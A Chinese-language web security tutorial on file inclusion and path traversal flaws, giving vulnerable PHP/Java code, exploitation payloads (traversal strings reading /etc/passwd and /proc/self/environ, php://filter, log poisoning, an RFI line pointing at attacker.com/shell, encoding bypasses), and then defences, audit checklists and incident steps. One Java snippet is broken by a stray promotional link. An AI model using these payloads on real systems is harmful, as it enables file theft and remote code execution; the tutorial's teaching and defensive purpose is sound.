1. 漏洞背景与核心概念
文件包含与下载读取漏洞是Web安全领域中一类常见的高危漏洞类型,主要由于服务端对用户提供的文件路径参数未做充分校验导致。这类漏洞允许攻击者通过构造特殊路径访问服务器上的敏感文件,甚至执行任意代码。
在实际渗透测试中,我们经常遇到两种典型场景:一种是开发人员直接使用include、require等函数包含用户可控的文件路径(本地文件包含/LFI);另一种是通过文件下载接口未过滤../等路径跳转字符(目录遍历/Path Traversal)。这两类漏洞的利用原理和防御策略各有特点,但核心问题都出在"信任了用户的输入"这个根本性错误上。
关键区别:文件包含漏洞通常需要服务器解析文件内容(如PHP),而目录遍历更多用于直接读取文件内容(如配置文件、日志文件)
2. 漏洞原理深度解析
2.1 本地文件包含(LFI)工作机制
以PHP环境为例,当代码中出现以下模式时即存在风险:
php复制<?php
$page = $_GET['page'];
include('/templates/' . $page . '.php');
?>
攻击者通过构造page=../../../etc/passwd%00这样的参数(在[PHP<5.3时可用空字节截断),最终会拼接成/templates/../../../etc/passwd%00.php的路径,经过规范化后读取到系统敏感文件。
漏洞升级路径:
- 基础LFI:读取
/etc/passwd等基础文件 - 日志注入:通过包含access.log等日志文件实现代码执行
- PHP伪协议:利用
php://filter获取源码或phar://触发反序列化 - 临时文件竞争:结合文件上传实现稳定RCE
2.2 远程文件包含(RFI)利用条件
当allow_url_include=On时,包含远程服务器上的恶意文件会造成更直接的危害:
php复制include($_GET['url'] . '.php');
攻击者只需托管包含PHP代码的文件,通过参数url=http://attacker.com/shell即可实现远程代码执行。
2.3 文件下载漏洞的典型模式
文件下载功能未做路径校验的示例:
java复制String file = request.getParameter("file");
FileInputStream fis = new FileInputStream("/downloads/" + file);
攻击者通过file=../../WEB-INF/web.xml可以读取到WEB-INF目录下的配置文件,进而获取数据库凭证等敏感信息。
3. 漏洞利用实战演示
3.1 基础利用手法
场景1:读取Linux系统文件
code复制http://example.com/view?page=../../../../etc/passwd
通过不断增加../尝试突破目录限制,需要注意不同系统的文件路径差异:
- Windows:
../../boot.ini(旧系统) - Linux:
/proc/self/environ(环境变量)
场景2:PHP伪协议利用
code复制http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config.php
通过base64编码读取源码,避免直接包含时被执行。
3.2 高级利用技巧
日志文件注入攻击步骤:
- 确认服务器错误日志路径(如
/var/log/apache2/error.log) - 通过User-Agent或Referer注入PHP代码
- 包含日志文件触发代码执行
利用/proc文件系统:
code复制/proc/self/cmdline # 查看当前进程命令
/proc/net/tcp # 查看网络连接
/proc/self/fd/3 # 尝试访问打开的文件描述符
3.3 自动化工具辅助
使用Burp Suite的Intruder模块进行路径爆破时,建议加载以下字典:
code复制../../../etc/passwd
....//....//....//etc/passwd
%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
4. 防御方案设计与实现
4.1 输入校验策略
白名单校验示例(PHP):
php复制$allowed = ['home.php', 'news.php', 'contact.php'];
if(!in_array($_GET['page'], $allowed)) {
die('Invalid page requested');
}
路径规范化检查(Java):
java复制Path resolvedPath = Paths.get("/safe_dir/").resolve(request.getParameter("file")).normalize();
if(!resolvedPath.startsWith("/safe_dir/")) {
throw new SecurityException("Invalid path");
}
4.2 服务器配置加固
- PHP环境配置:
ini复制allow_url_include = Off
open_basedir = /var/www/html:/tmp
- Nginx重定向防护:
nginx复制location ~* \.(php|inc)$ {
deny all;
}
- 文件下载接口的防御:
python复制def safe_file_download(request):
basename = os.path.basename(request.GET['file'])
path = os.path.join('/downloads', basename)
if not os.path.exists(path):
raise Http404
return FileResponse(open(path, 'rb'))
4.3 架构层面防护
- 文件存储分离:将用户上传文件存储在独立域名下,与主站隔离
- 内容安全策略(CSP):限制外部资源加载
- 定期文件完整性检查:监控关键系统文件变更
5. 漏洞检测与审计要点
5.1 手动测试流程
- 参数枚举:检查所有接收文件路径的参数(如file, page, template等)
- 路径遍历测试:
- 基础测试:
../../etc/passwd - 编码绕过:
..%2f..%2fetc%2fpasswd - 双重编码:
..%252f..%252fetc%252fpasswd
- 基础测试:
- 特殊协议测试:
php://filterphar://zip://
5.2 自动化扫描策略
使用Burp Suite Scanner配置自定义插件检测:
java复制// 检测路径遍历的变异规则
new IntruderPayloadGenerator() {
public List<String>](https://taotoken.net/?utm_source=general) getPayloads() {
return Arrays.asList(
"../../etc/passwd",
"....//....//etc/passwd",
"%2e%2e%2fetc%2fpasswd"
);
}
}
5.3 代码审计重点关注
-
危险函数调用:
- PHP:
include,require,file_get_contents - Java:
FileInputStream,getResourceAsStream - Python:
open(),execfile()
- PHP:
-
动态路径拼接:
python复制# 危险示例
filename = request.GET['file']
path = os.path.join('/uploads', filename)
- 配置文件检查:
.htaccess中的php_value设置php.ini中的open_basedir配置
6. 实战案例与排查记录
6.1 某CMS文件包含漏洞分析
漏洞定位:
在/admin/template.php中发现:
php复制$tpl = $_GET['tpl'];
include('./templates/'.$tpl.'.tpl');
利用过程:
- 发现未登录时可访问admin目录
- 通过
tpl=../../../configuration读取数据库配置 - 找到
php.ini位置后使用php://filter获取源码
修复方案:
php复制$allowed = ['dashboard', 'settings', 'users'];
$tpl = str_replace(['/', '\\'], '', $_GET['tpl']);
if(!in_array($tpl, $allowed)) {
die('Invalid template');
}
6.2 文件下载接口绕过案例
漏洞代码:
java复制String file = request.getParameter("file");
Path path = Paths.get("/export/" + file);
Files.copy(path, response.getOutputStream());
绕过方式:
使用file=/../../WEB-INF/web.xml成功读取配置
正确实现:
java复制Path base = Paths.get("/export/").normalize();
Path resolved = base.resolve(request.getParameter("file")).normalize();
if(!resolved.startsWith(base)) {
throw new SecurityException("Invalid path");
}
7. 防御措施深度优化
7.1 运行时防护方案
- 文件操作监控:通过inotify监控关键目录的读取行为
- 系统调用拦截:使用ptrace拦截危险的open调用
- PHP扩展防护:安装Suhosin等安全扩展
7.2 安全开发规范
- 禁止动态包含:在项目规范中明确禁止直接包含用户输入
- 强制代码审查:所有文件操作代码必须经过安全人员审核
- 安全函数封装:
php复制function safe_include($file) {
$base = __DIR__.'/templates/';
$path = realpath($base.$file);
if(strpos($path, $base) !== 0) {
throw new Exception('Invalid include');
}
include($path);
}
7.3 应急响应流程
-
漏洞确认阶段:
- 立即下线受影响功能
- 分析日志确定攻击路径
-
临时修复方案:
- 添加基础路径校验
- 设置
open_basedir限制
-
彻底修复方案:
- 重构文件包含逻辑
- 部署WAF规则拦截攻击流量
8. 相关漏洞扩展研究
8.1 与SSRF的联合利用
文件包含漏洞常被用作SSRF攻击的入口点:
code复制http://example.com/include.php?file=http://internal/api/secret
通过包含内网服务的响应内容,可能获取到敏感信息。
8.2 云环境下的特殊利用
在AWS等云环境中,可以尝试读取元数据:
code复制http://example.com/download?file=../../../../../../proc/self/environ
从环境变量中可能泄露AWS_ACCESS_KEY等云凭证。
8.3 新型绕过技术研究
-
路径规范化绕过:
- 使用
///etc/passwd绕过简单的../检测 - Windows下的
..\与../混合使用
- 使用
-
编码技巧:
- UTF-7编码:
+AGYAbwBv+AD解码为<foo> - 双重URL编码:
%252e%252e%252f
- UTF-7编码:
-
文件系统特性利用:
- 使用
/proc/self/root递归路径 - 通过符号链接跳转目录
- 使用